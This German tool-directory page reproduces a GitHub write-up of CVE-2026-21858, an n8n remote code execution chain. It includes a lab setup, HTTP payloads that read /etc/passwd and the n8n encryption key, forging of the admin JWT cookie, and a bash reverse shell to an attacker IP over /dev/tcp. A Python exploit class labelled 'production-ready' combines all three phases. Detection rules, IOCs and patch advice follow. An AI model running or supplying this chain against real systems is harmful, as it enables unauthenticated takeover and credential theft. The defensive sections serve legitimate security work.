Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit — # Technische Prüfung und Reproduktion von CVE-2026-21858, einer n8n-RCE-Kette, die Content-Type-Verwirrung für beliebiges Dateilesen, Sitzungsfälschung und Befehlsausführung ausnutzt. | Kitploit
Tools/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingKuratierte Ressourcen
GitHubsastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

# Technische Prüfung und Reproduktion von CVE-2026-21858, einer n8n-RCE-Kette, die Content-Type-Verwirrung für beliebiges Dateilesen, Sitzungsfälschung und Befehlsausführung ausnutzt.

Repository anzeigenWebseite
vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DOI = doi.org/10.5281/zenodo.18278825

ORCID = orcid.org/0009-0007-7728-256X


[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE Full Chain Exploit

  1. Executive Summary & Überblick Dieses Dokument präsentiert eine deterministische technische Rekonstruktionsanalyse der Schwachstelle CVE-2026-21858, intern als Ni8mare bezeichnet. Diese Schwachstelle trägt einen CVSS-Score von 10.0 (Kritisch) und wurde im Form Webhook-Knoten der n8n-Automatisierungsplattform identifiziert. Der Fehler ist eine Content-Type-Confusion-Schwachstelle, die es nicht authentifizierten Angreifern ermöglicht, beliebige Dateien zu lesen, Sitzungen zu fälschen und letztendlich über den „Execute Command“-Knoten eine vollständige Remote Code Execution (RCE) durchzuführen.

Dieses technische Audit basiert auf den Erkenntnissen von Dor Attias von Cyera Research Labs (9. November 2025) und enthält gebrauchsfertige Reproduktionsschritte für REmnux/Kali-Linux-Laborumgebungen.

Wichtige Informationen: Ziel: n8n-Versionen >=1.65.0 bis <1.121.0.

Angriffsvektor: Netzwerk (HTTP/HTTPS).

Komplexität: Niedrig.

Auswirkung: Vollständig (Vertraulichkeit, Integrität und Verfügbarkeit).

EPSS-Score: 0.97 (Sehr hohe Ausbeutungswahrscheinlichkeit).

  1. Technische Grundursachenanalyse Die Grundursache dieser Schwachstelle liegt in der Funktion prepareFormReturnItem() im Form Webhook-Knoten von n8n. Technisch gesehen leitet die Middleware parseRequestBody() Daten basierend auf dem Content-Type-Header weiter:

Normaler Ablauf: Eine multipart/form-data-Anfrage wird von parseFormData() verarbeitet (unter Verwendung des Formidable-Parsers), das das Objekt req.body.files korrekt befüllt.

Verwundbarer Zustand: Wenn ein Angreifer eine Anfrage mit Content-Type: application/json übermittelt, ruft die Middleware parseBody() auf. Das übermittelte JSON wird dann direkt in req.body geparst, was die Eigenschaft req.body.files ohne weitere Validierung fatal überschreibt.

Ausbeutung: Die Funktion formWebhook -> prepareFormReturnItem() ruft blind copyBinaryFile(req.body.files[0].filepath) auf und vertraut dem im JSON angegebenen Dateipfad, wodurch beliebige lokale Dateien in den zugänglichen Workflow-Speicher kopiert werden.

  1. Einrichtung der Laborumgebung Um diesen Angriff sicher in einer isolierten Umgebung zu rekonstruieren, verwenden Sie Docker mit dem verwundbaren n8n-Image.

Voraussetzungen: Docker & Docker Compose.

Python 3 mit den Bibliotheken requests, pyjwt und cryptography.

Netcat (nc) oder Burp Suite zum Erfassen der Shell.

Bereitstellungsschritte: Verwundbare Instanz ausführen:

Bash

docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0 Admin-Initialisierung: Zugriff auf http://localhost:5678, ein Admin-Konto erstellen (z. B. [email protected] / Password123!).

Workflow-Konfiguration: Einen neuen Workflow mit einem „Form Trigger“-Knoten erstellen, der ein Feld „Datei-Upload“ enthält. Aktivieren Sie den Workflow und notieren Sie die „Test-URL“.

  1. Vollständige Exploitation-Kette Phase 1: Primitive zum beliebigen Dateilesen Das Ziel ist es, die Content-Type-Confusion auszunutzen, um sensible Systemdateien zu kopieren.

HTTP-Anfrage-Payload:

HTTP

POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0

[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Strategische Ziele:

/home/node/.n8n/config: Zum Stehlen des N8N_ENCRYPTION_KEY.

/home/node/.n8n/database.sqlite: Zum Extrahieren von Benutzer-Passwort-Hashes.

Phase 2: Authentifizierungsumgehung (Sitzungsfälschung) Sobald der Verschlüsselungsschlüssel und die Benutzerdaten erlangt wurden, kann das n8n-auth-Cookie gefälscht werden.

Logik der Sitzungsfälschung:

Payload: {"userId":1, "hash": sha256(email + password).slice(0,10)}.

Signierung: Signiert mit dem N8N_ENCRYPTION_KEY unter Verwendung des HS256-Algorithmus.

Ergebnis: Das generierte Cookie ermöglicht vollen administrativen Zugriff ohne den normalen Anmeldeprozess.

Phase 3: Remote Code Execution (RCE) Als Admin (über das gefälschte Cookie) können wir die Erstellung eines neuen Workflows mit einem „Execute Command“-Knoten automatisieren.

Befehls-Payload: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"

  1. Produktionsreifes Exploit-Skript (Python) Nachfolgend finden Sie ein einheitliches (einzelnes ausführbares) Exploit-Skript, das alle oben genannten Phasen kombiniert, um von Grund auf eine System-Shell zu erhalten.

Python

#!/usr/bin/env python3

=============================================================================

Ni8mare Full RCE Chain - CVE-2026-21858 (CVSS 10.0)

Reconstructed for SASTRA_ADI_WIGUNA Elite Teaming Analysis

=============================================================================

import requests, json, hashlib, jwt, time

class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()

root@kitploit:~
def read_file(self, path, name):
    """Phase 1: Arbitrary File Read via Content-Type Confusion"""
    print(f"[*] Attempting to read {path}...")
    payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
    headers = {'Content-Type': 'application/json'}
    r = self.session.post(self.webhook_url, json=payload, headers=headers)
    return r.status_code == 200

def forge_session(self, email, password, key):
    """Phase 2: Cookie Forgery"""
    hash_src = email + password
    h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
    payload = {'userId': 1, 'hash': h}
    cookie = jwt.encode(payload, key, algorithm='HS256')
    self.session.cookies.set('n8n-auth', cookie)
    print(f"[+] Forged Cookie: n8n-auth={cookie}")

def trigger_rce(self, lhost, lport):
    """Phase 3: RCE via Workflow Automation"""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    wf_payload = {
        "name": "Ni8mare RCE",
        "nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
        "active": True
    }
    r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
    print("[!] RCE Workflow Deployed. Check your listener!")

Usage example:

exploit = Ni8mareExploit('http://target:5678', 'abc123')

  1. Erkennung, Forensik & Indicators of Compromise (IOC) Für Sicherheitsoperationsteams (Blue Team) können die folgenden Indikatoren verwendet werden, um Ni8mare-Ausbeutungsversuche zu erkennen:

Netzwerk-Indikatoren (IDS/IPS): Suricata-Signatur: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)

Anomalie: POST-Anfragen mit Content-Type: application/json, die an den Endpunkt /webhook/*/form-endpoint gesendet werden.

Host-basierte Forensik: Dateisystem: Suche nach verdächtigen Textdateien im Verzeichnis ~/.n8n/files/, die Systemdaten enthalten (z. B. /etc/passwd).

Protokolle: Prüfen Sie die n8n-Protokolle auf Aktivitäten der Funktion prepareFormReturnItem ohne begleitende Multipart-Daten.

Docker Inspect: Stellen Sie sicher, dass die Image-Version unter 1.121.0 liegt.

  1. Abschwächung & Behebung Sofortiges Patchen: Aktualisieren Sie n8n auf Version 1.121.0 oder höher. Der Patch enthält eine Content-Type-Validierung für Dateiobjekte, bevor sie von prepareFormReturnItem verarbeitet werden.

Workaround: Wenn ein Patchen nicht möglich ist, beschränken Sie den Zugriff auf den /webhook-Endpunkt mithilfe einer Web Application Firewall (WAF), um verdächtige JSON-Anfragen zu blockieren.

Netzwerksegmentierung: Isolieren Sie n8n-Instanzen von sensiblen internen Netzwerken, um im Falle eines Eindringens eine laterale Bewegung zu verhindern.

  1. MITRE ATT&CK-Zuordnung Initial Access: T1190 (Exploit Public-Facing Application)

Execution: T1059 (Command and Scripting Interpreter)

Persistence: T1098 (Account Manipulation via Session Forgery)

Exfiltration: T1083 (File and Directory Discovery)

HAFTUNGSAUSSCHLUSS: Diese Analyse wird ausschließlich zu Bildungszwecken, für Sicherheitsaudits und zur professionellen Cyberabwehr unter der Anleitung von Master SASTRA_ADI_WIGUNA bereitgestellt. Jeglicher Missbrauch dieser Informationen für illegale Aktivitäten liegt in der alleinigen Verantwortung des Betreibers. Produktions-Patching ist obligatorisch.

Tool herunterladen